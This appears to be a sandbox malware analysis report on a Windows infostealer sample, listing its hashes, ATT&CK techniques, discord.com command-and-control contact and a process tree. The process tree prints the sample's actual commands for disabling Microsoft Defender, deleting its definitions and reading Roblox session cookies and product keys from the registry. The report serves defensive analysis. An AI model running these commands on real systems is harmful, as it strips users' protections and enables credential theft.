52bba66abb79a86eb3b574ccf1d58c52e21ef20306cbb7682390e59e177e0fac

Resubmissions

25/08/2026, 11:51

260825-n1l9eshp8z10

25/08/2026, 11:43

260825-nvst1shp513

25/08/2026, 11:02

260825-m45dqsgh3210

Analysis

max time kernel
149s
max time network
147s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/08/2026, 11:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-24_6c7a8e85c46fcb704fc079ff9267a6ac_glassworm_icedid_luca-stealer_njrat.exe
Size 11.9MB
Sample260825-m45dqsgh32
SHA256 52bba66abb79a86eb3b574ccf1d58c52e21ef20306cbb7682390e59e177e0fac
MD5 6c7a8e85c46fcb704fc079ff9267a6ac
SHA1 f140bd33da5cebc3dc26658e838cbc4959426e8f
SHA512 f661a8ff476e84cf291abf9c57789c8f3ac4b20f42d35175b72af409af53250c4e2cf31517c5378ea0346b4389d47764724d278ee80ed15f2f355aa6299b68e9
SSDEEP 196608:2F/oTOjmFbld+RdfGTj+tXJ9AA7nv0PcXIItAhzjEk0j6LubfEQib9Rx0GJ:yKf8nGetZGkXruhzQk0j6LuLEv
TLSH
T1BDC633C02B9005F0E8FB517DCA62926AF6BA742553C4CF4F63548B614E236F1EE7B612
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

credential_access defense_evasion discovery execution spyware stealer upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

defense_evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
4208	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2648	powershell.exe
1336	powershell.exe
4164	powershell.exe
1936	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
1336	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
2848	Build.exe
3240	based.exe
1232	based.exe
4276	rar.exe

Loads dropped DLL 22 IoCs

pid	Process
2132	2026-08-24_6c7a8e85c46fcb704fc079ff9267a6ac_glassworm_icedid_luca-stealer_njrat.exe
2132	2026-08-24_6c7a8e85c46fcb704fc079ff9267a6ac_glassworm_icedid_luca-stealer_njrat.exe
2132	2026-08-24_6c7a8e85c46fcb704fc079ff9267a6ac_glassworm_icedid_luca-stealer_njrat.exe
1232	based.exe
1232	based.exe
1232	based.exe
1232	based.exe
1232	based.exe
1232	based.exe
1232	based.exe
1232	based.exe
1232	based.exe
1232	based.exe
1232	based.exe
1232	based.exe
1232	based.exe
1232	based.exe
1232	based.exe
1232	based.exe
1232	based.exe
1232	based.exe
1232	based.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com
12	discord.com

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Discovers running processes 1 TTPs 2 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3904	tasklist.exe
432	tasklist.exe

UPX packed file 63 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000d00000001c4f9-54.dat	upx
behavioral2/memory/2132-58-0x00007FFA31F10000-0x00007FFA32376000-memory.dmp	upx
behavioral2/memory/2132-63-0x00007FFA31F10000-0x00007FFA32376000-memory.dmp	upx
behavioral2/memory/1232-142-0x00007FFA31F10000-0x00007FFA32376000-memory.dmp	upx
behavioral2/files/0x001200000001c4c5-144.dat	upx
behavioral2/memory/1232-147-0x00007FFA43C80000-0x00007FFA43CA4000-memory.dmp	upx
behavioral2/files/0x000d00000001c502-146.dat	upx
behavioral2/memory/1232-149-0x00007FFA49040000-0x00007FFA4904F000-memory.dmp	upx
behavioral2/files/0x000e00000001c4c8-155.dat	upx
behavioral2/files/0x001400000001c44c-158.dat	upx
behavioral2/memory/1232-157-0x00007FFA3D4D0000-0x00007FFA3D4FC000-memory.dmp	upx
behavioral2/files/0x000d00000001c509-163.dat	upx
behavioral2/files/0x000e00000001c4cc-162.dat	upx
behavioral2/memory/1232-161-0x00007FFA3D4B0000-0x00007FFA3D4C8000-memory.dmp	upx
behavioral2/memory/1232-164-0x00007FFA3D490000-0x00007FFA3D4AF000-memory.dmp	upx
behavioral2/memory/1232-166-0x00007FFA36730000-0x00007FFA368AA000-memory.dmp	upx
behavioral2/files/0x000e00000001c4cb-167.dat	upx
behavioral2/files/0x000d00000001c508-171.dat	upx
behavioral2/memory/1232-172-0x00007FFA46010000-0x00007FFA4601D000-memory.dmp	upx
behavioral2/memory/1232-170-0x00007FFA3D470000-0x00007FFA3D489000-memory.dmp	upx
behavioral2/files/0x000e00000001c4cd-173.dat	upx
behavioral2/memory/1232-175-0x00007FFA3D010000-0x00007FFA3D03E000-memory.dmp	upx
behavioral2/files/0x000e00000001c500-176.dat	upx
behavioral2/files/0x000d00000001c503-177.dat	upx
behavioral2/memory/1232-180-0x00007FFA334F0000-0x00007FFA335A8000-memory.dmp	upx
behavioral2/memory/1232-179-0x00007FFA31F10000-0x00007FFA32376000-memory.dmp	upx
behavioral2/memory/1232-183-0x00007FFA43C80000-0x00007FFA43CA4000-memory.dmp	upx
behavioral2/memory/1232-186-0x00007FFA49040000-0x00007FFA4904F000-memory.dmp	upx
behavioral2/memory/1232-184-0x00007FFA31B90000-0x00007FFA31F09000-memory.dmp	upx
behavioral2/files/0x000e00000001c4c7-187.dat	upx
behavioral2/files/0x000e00000001c4c9-189.dat	upx
behavioral2/memory/1232-191-0x00007FFA3CFF0000-0x00007FFA3D005000-memory.dmp	upx
behavioral2/memory/1232-190-0x00007FFA3D4D0000-0x00007FFA3D4FC000-memory.dmp	upx
behavioral2/memory/1232-193-0x00007FFA45810000-0x00007FFA4581D000-memory.dmp	upx
behavioral2/files/0x000d00000001c50b-194.dat	upx
behavioral2/memory/1232-197-0x00007FFA3D490000-0x00007FFA3D4AF000-memory.dmp	upx
behavioral2/memory/1232-200-0x00007FFA36730000-0x00007FFA368AA000-memory.dmp	upx
behavioral2/memory/1232-199-0x000001E20E9A0000-0x000001E20EAB8000-memory.dmp	upx
behavioral2/memory/1232-198-0x000001E20E9A0000-0x000001E20EAB8000-memory.dmp	upx
behavioral2/memory/1232-213-0x00007FFA3D470000-0x00007FFA3D489000-memory.dmp	upx
behavioral2/memory/1232-239-0x00007FFA3D010000-0x00007FFA3D03E000-memory.dmp	upx
behavioral2/memory/1232-246-0x00007FFA334F0000-0x00007FFA335A8000-memory.dmp	upx
behavioral2/memory/1232-252-0x00007FFA31B90000-0x00007FFA31F09000-memory.dmp	upx
behavioral2/memory/1232-263-0x00007FFA43C80000-0x00007FFA43CA4000-memory.dmp	upx
behavioral2/memory/1232-262-0x00007FFA31F10000-0x00007FFA32376000-memory.dmp	upx
behavioral2/memory/1232-267-0x00007FFA3D490000-0x00007FFA3D4AF000-memory.dmp	upx
behavioral2/memory/1232-276-0x000001E20E9A0000-0x000001E20EAB8000-memory.dmp	upx
behavioral2/memory/1232-268-0x00007FFA36730000-0x00007FFA368AA000-memory.dmp	upx
behavioral2/memory/1232-288-0x00007FFA3D010000-0x00007FFA3D03E000-memory.dmp	upx
behavioral2/memory/1232-289-0x00007FFA334F0000-0x00007FFA335A8000-memory.dmp	upx
behavioral2/memory/1232-285-0x00007FFA36730000-0x00007FFA368AA000-memory.dmp	upx
behavioral2/memory/1232-287-0x00007FFA46010000-0x00007FFA4601D000-memory.dmp	upx
behavioral2/memory/1232-286-0x00007FFA3D470000-0x00007FFA3D489000-memory.dmp	upx
behavioral2/memory/1232-284-0x00007FFA3D490000-0x00007FFA3D4AF000-memory.dmp	upx
behavioral2/memory/1232-283-0x00007FFA3D4B0000-0x00007FFA3D4C8000-memory.dmp	upx
behavioral2/memory/1232-282-0x00007FFA3D4D0000-0x00007FFA3D4FC000-memory.dmp	upx
behavioral2/memory/1232-279-0x00007FFA31F10000-0x00007FFA32376000-memory.dmp	upx
behavioral2/memory/1232-280-0x00007FFA43C80000-0x00007FFA43CA4000-memory.dmp	upx
behavioral2/memory/1232-281-0x00007FFA49040000-0x00007FFA4904F000-memory.dmp	upx
behavioral2/memory/1232-291-0x00007FFA3CFF0000-0x00007FFA3D005000-memory.dmp	upx
behavioral2/memory/1232-293-0x000001E20E9A0000-0x000001E20EAB8000-memory.dmp	upx
behavioral2/memory/1232-290-0x00007FFA31B90000-0x00007FFA31F09000-memory.dmp	upx
behavioral2/memory/1232-292-0x00007FFA45810000-0x00007FFA4581D000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 13 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2712	cmd.exe
4320	cmd.exe
4088	cmd.exe
6080	cmd.exe
3772	cmd.exe
940	cmd.exe
5316	cmd.exe
3420	cmd.exe
4112	cmd.exe
3332	cmd.exe
5976	cmd.exe
2900	cmd.exe
108	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Build.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3032	WMIC.exe

Suspicious behavior: EnumeratesProcesses 34 IoCs

pid	Process
2648	powershell.exe
2648	powershell.exe
2648	powershell.exe
1336	powershell.exe
1336	powershell.exe
1336	powershell.exe
4164	powershell.exe
4164	powershell.exe
4164	powershell.exe
4960	powershell.exe
4960	powershell.exe
4960	powershell.exe
5988	WMIC.exe
5988	WMIC.exe
5988	WMIC.exe
5988	WMIC.exe
4580	WMIC.exe
4580	WMIC.exe
4580	WMIC.exe
4580	WMIC.exe
3548	WMIC.exe
3548	WMIC.exe
3548	WMIC.exe
3548	WMIC.exe
1936	powershell.exe
1936	powershell.exe
1936	powershell.exe
3032	WMIC.exe
3032	WMIC.exe
3032	WMIC.exe
3032	WMIC.exe
1352	powershell.exe
1352	powershell.exe
1352	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2648	powershell.exe
Token: SeDebugPrivilege	1336	powershell.exe
Token: SeDebugPrivilege	3904	tasklist.exe
Token: SeDebugPrivilege	432	tasklist.exe
Token: SeIncreaseQuotaPrivilege	2648	powershell.exe
Token: SeSecurityPrivilege	2648	powershell.exe
Token: SeTakeOwnershipPrivilege	2648	powershell.exe
Token: SeLoadDriverPrivilege	2648	powershell.exe
Token: SeSystemProfilePrivilege	2648	powershell.exe
Token: SeSystemtimePrivilege	2648	powershell.exe
Token: SeProfSingleProcessPrivilege	2648	powershell.exe
Token: SeIncBasePriorityPrivilege	2648	powershell.exe
Token: SeCreatePagefilePrivilege	2648	powershell.exe
Token: SeBackupPrivilege	2648	powershell.exe
Token: SeRestorePrivilege	2648	powershell.exe
Token: SeShutdownPrivilege	2648	powershell.exe
Token: SeDebugPrivilege	2648	powershell.exe
Token: SeSystemEnvironmentPrivilege	2648	powershell.exe
Token: SeRemoteShutdownPrivilege	2648	powershell.exe
Token: SeUndockPrivilege	2648	powershell.exe
Token: SeManageVolumePrivilege	2648	powershell.exe
Token: 33	2648	powershell.exe
Token: 34	2648	powershell.exe
Token: 35	2648	powershell.exe
Token: 36	2648	powershell.exe
Token: SeIncreaseQuotaPrivilege	1336	powershell.exe
Token: SeSecurityPrivilege	1336	powershell.exe
Token: SeTakeOwnershipPrivilege	1336	powershell.exe
Token: SeLoadDriverPrivilege	1336	powershell.exe
Token: SeSystemProfilePrivilege	1336	powershell.exe
Token: SeSystemtimePrivilege	1336	powershell.exe
Token: SeProfSingleProcessPrivilege	1336	powershell.exe
Token: SeIncBasePriorityPrivilege	1336	powershell.exe
Token: SeCreatePagefilePrivilege	1336	powershell.exe
Token: SeBackupPrivilege	1336	powershell.exe
Token: SeRestorePrivilege	1336	powershell.exe
Token: SeShutdownPrivilege	1336	powershell.exe
Token: SeDebugPrivilege	1336	powershell.exe
Token: SeSystemEnvironmentPrivilege	1336	powershell.exe
Token: SeRemoteShutdownPrivilege	1336	powershell.exe
Token: SeUndockPrivilege	1336	powershell.exe
Token: SeManageVolumePrivilege	1336	powershell.exe
Token: 33	1336	powershell.exe
Token: 34	1336	powershell.exe
Token: 35	1336	powershell.exe
Token: 36	1336	powershell.exe
Token: SeDebugPrivilege	4164	powershell.exe
Token: SeDebugPrivilege	4960	powershell.exe
Token: SeIncreaseQuotaPrivilege	5988	WMIC.exe
Token: SeSecurityPrivilege	5988	WMIC.exe
Token: SeTakeOwnershipPrivilege	5988	WMIC.exe
Token: SeLoadDriverPrivilege	5988	WMIC.exe
Token: SeSystemProfilePrivilege	5988	WMIC.exe
Token: SeSystemtimePrivilege	5988	WMIC.exe
Token: SeProfSingleProcessPrivilege	5988	WMIC.exe
Token: SeIncBasePriorityPrivilege	5988	WMIC.exe
Token: SeCreatePagefilePrivilege	5988	WMIC.exe
Token: SeBackupPrivilege	5988	WMIC.exe
Token: SeRestorePrivilege	5988	WMIC.exe
Token: SeShutdownPrivilege	5988	WMIC.exe
Token: SeDebugPrivilege	5988	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5988	WMIC.exe
Token: SeRemoteShutdownPrivilege	5988	WMIC.exe
Token: SeUndockPrivilege	5988	WMIC.exe

Suspicious use of WriteProcessMemory 31 IoCs

description	pid	Process	procid_target
PID 4604 wrote to memory of 2132	4604	2026-08-24_6c7a8e85c46fcb704fc079ff9267a6ac_glassworm_icedid_luca-stealer_njrat.exe	89
PID 2132 wrote to memory of 2848	2132	2026-08-24_6c7a8e85c46fcb704fc079ff9267a6ac_glassworm_icedid_luca-stealer_njrat.exe	90
PID 2848 wrote to memory of 3240	2848	Build.exe	91
PID 3240 wrote to memory of 1232	3240	based.exe	92
PID 1232 wrote to memory of 4088	1232	based.exe	93
PID 1232 wrote to memory of 4320	1232	based.exe	94
PID 4088 wrote to memory of 2648	4088	cmd.exe	97
PID 1232 wrote to memory of 6080	1232	based.exe	99
PID 4320 wrote to memory of 1336	4320	cmd.exe	98
PID 1232 wrote to memory of 3332	1232	based.exe	100
PID 3332 wrote to memory of 432	3332	cmd.exe	103
PID 6080 wrote to memory of 3904	6080	cmd.exe	104
PID 4320 wrote to memory of 4208	4320	cmd.exe	107
PID 1232 wrote to memory of 5976	1232	based.exe	108
PID 5976 wrote to memory of 4164	5976	cmd.exe	110
PID 1232 wrote to memory of 3772	1232	based.exe	111
PID 3772 wrote to memory of 4960	3772	cmd.exe	113
PID 1232 wrote to memory of 940	1232	based.exe	114
PID 940 wrote to memory of 4276	940	cmd.exe	116
PID 1232 wrote to memory of 5316	1232	based.exe	117
PID 5316 wrote to memory of 5988	5316	cmd.exe	119
PID 1232 wrote to memory of 2900	1232	based.exe	120
PID 2900 wrote to memory of 4580	2900	cmd.exe	122
PID 1232 wrote to memory of 3420	1232	based.exe	123
PID 3420 wrote to memory of 3548	3420	cmd.exe	125
PID 1232 wrote to memory of 4112	1232	based.exe	126
PID 4112 wrote to memory of 1936	4112	cmd.exe	128
PID 1232 wrote to memory of 108	1232	based.exe	129
PID 108 wrote to memory of 3032	108	cmd.exe	131
PID 1232 wrote to memory of 2712	1232	based.exe	132
PID 2712 wrote to memory of 1352	2712	cmd.exe	134

C:\Users\Admin\AppData\Local\Temp\2026-08-24_6c7a8e85c46fcb704fc079ff9267a6ac_glassworm_icedid_luca-stealer_njrat.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-24_6c7a8e85c46fcb704fc079ff9267a6ac_glassworm_icedid_luca-stealer_njrat.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4604
- C:\Users\Admin\AppData\Local\Temp\2026-08-24_6c7a8e85c46fcb704fc079ff9267a6ac_glassworm_icedid_luca-stealer_njrat.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-08-24_6c7a8e85c46fcb704fc079ff9267a6ac_glassworm_icedid_luca-stealer_njrat.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2132
- - C:\Users\Admin\AppData\Local\Temp\_MEI46042\Build.exe
    C:\Users\Admin\AppData\Local\Temp\_MEI46042\Build.exe -pbeznogym
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2848
  - - C:\ProgramData\Microsoft\based.exe
      "C:\ProgramData\Microsoft\based.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:3240
    - - C:\ProgramData\Microsoft\based.exe
        
        "C:\ProgramData\Microsoft\based.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1232
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\based.exe'"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4088
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\based.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2648
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4320
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        7⤵
        Command and Scripting Interpreter: PowerShell
        Disables one or more Microsoft Defender components
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1336
        
        C:\Program Files\Windows Defender\MpCmdRun.exe
        
        "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
        7⤵
        Deletes Windows Defender Definitions
        
        PID:4208
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:6080
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        7⤵
        Discovers running processes
        Suspicious use of AdjustPrivilegeToken
        
        PID:3904
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3332
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        7⤵
        Discovers running processes
        Suspicious use of AdjustPrivilegeToken
        
        PID:432
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5976
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4164
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3772
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        7⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4960
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI32402\rar.exe a -r -hp"amnesia" "C:\Users\Admin\AppData\Local\Temp\hN9Zu.zip" *"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:940
        
        C:\Users\Admin\AppData\Local\Temp\_MEI32402\rar.exe
        
        C:\Users\Admin\AppData\Local\Temp\_MEI32402\rar.exe a -r -hp"amnesia" "C:\Users\Admin\AppData\Local\Temp\hN9Zu.zip" *
        7⤵
        Executes dropped EXE
        
        PID:4276
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic os get Caption"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5316
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic os get Caption
        7⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5988
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2900
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get totalphysicalmemory
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4580
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3420
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3548
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4112
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1936
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:108
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        7⤵
        Detects videocard installed
        Suspicious behavior: EnumeratesProcesses
        
        PID:3032
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2712
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1352

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

based.exe

Path C:\ProgramData\Microsoft\based.exe
Size 6.7MB
SHA256 1c75706e5c3e6bc04c2dceab9ce51055f32d92db545094a5df51e01b88b27c41
MD5 7d4b83b1b8a4b00745d327f724bb29ad
SHA1 53ab9b2bacd70d0d95938d4d11249faa6513b36a
SHA512 97a2042661406ed98fa84db89eb731b432688c72e94e22fe68cf200673f5695f9c30c6a4bd191ba716b7c3a35355296126866d577c3f2eb9de505e41181c1b33
SSDEEP 196608:8nY/l37OjmFEfld+RdfGYkdai7bN3mmTVXJGw:DSKI8nGdB3Qmaw
TLSH
T1A9663351238114F5E8FB613CC813A13AE1B774265384DB9F937887A52F23AB09E7B716
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b699e97f0868b0b8ae799388aa2d95ea7363a34f2e9cf5a6685ff4d17df64f11
MD5 683c586de389277568abf3b07f6b5a9a
SHA1 9e6659e78a58e5ccfb2dbf5bc9cc8df2ebc2aed2
SHA512 de7dc73a47ed9d41d93b33b4deb4d111c1d75b94e2ba016cb4413f5e0694f57ca1b71045c594acb5aaebbec072f339ec070b6f428840abe4a2560917ba487fd2
TLSH
T1D1216837B3DC8611C89A413A10CDAC1036B6C7DB80DECFAB7B85E659A42F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 541c5dc7aa85a5548af1524b99dcd56d6194efdbf46b7f9c5632b49312d5fa85
MD5 0ffa7e742eeb2ae40d30af4866727acd
SHA1 6394216f9e4cfdc51cbbf37307697724219e9411
SHA512 53d8451307ea40a251fd117efbc4be4ba31720229850ab8026e95ff6586d896f55435a49b5e130be3339c14fc3c168c6a53c84c1b19853ff269ec4738d1ba453
TLSH
T184215333F3CD8624CC9A403A50CEAC1036B687DB419ECEABBB84D554A43F699DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1644a8734b1a870853c20608b2c652c71a46e3cce6318ad116a4f9159a76d282
MD5 c104f03b2b4f3402a8cad00e56679300
SHA1 e1d3b9ab2d030f209415f08f5a8c3906bb5c86db
SHA512 d6e259d5aecf849e0b812f786147f10cfb7971150c06d1319d6907093c09ffb05f4a5559fbf4850a5f8dd99f00e9c06b994e9677baa707d549eb65a2042c9eb2
TLSH
T182215333F3CC8624CC9A403A50CEAC1036B687DB419EDFABBB84D155A43F699DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 54aa570220e696de49a9a588711123e43032522c4578b6fa4f918d2666c1cb32
MD5 27db61c440595c38f5a7b661c618d0c9
SHA1 87613fdda39013791c068bdeec060f945fa2e908
SHA512 e367d57ce85719fa4e3cfd8083e0a5f71110b3f845c1ea7d3a0a3393066cfa90b96712701f044b731fab41ff6a751b7f4db794795c1f3aec955f642c3df25586
TLSH
T1FC115733F3CC8624C89A413650CEAC1036B587DB519ECE6BBB84D154B43F699DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI32402\_bz2.pyd
Size 47KB
SHA256 e48ea048863dfad2f49516aa18f4849c4884dade662f186481b7079f05175a41
MD5 660b720f9ea9b2147950907b668bddb3
SHA1 7787536d537c37fbf34212e762bcadfd68518325
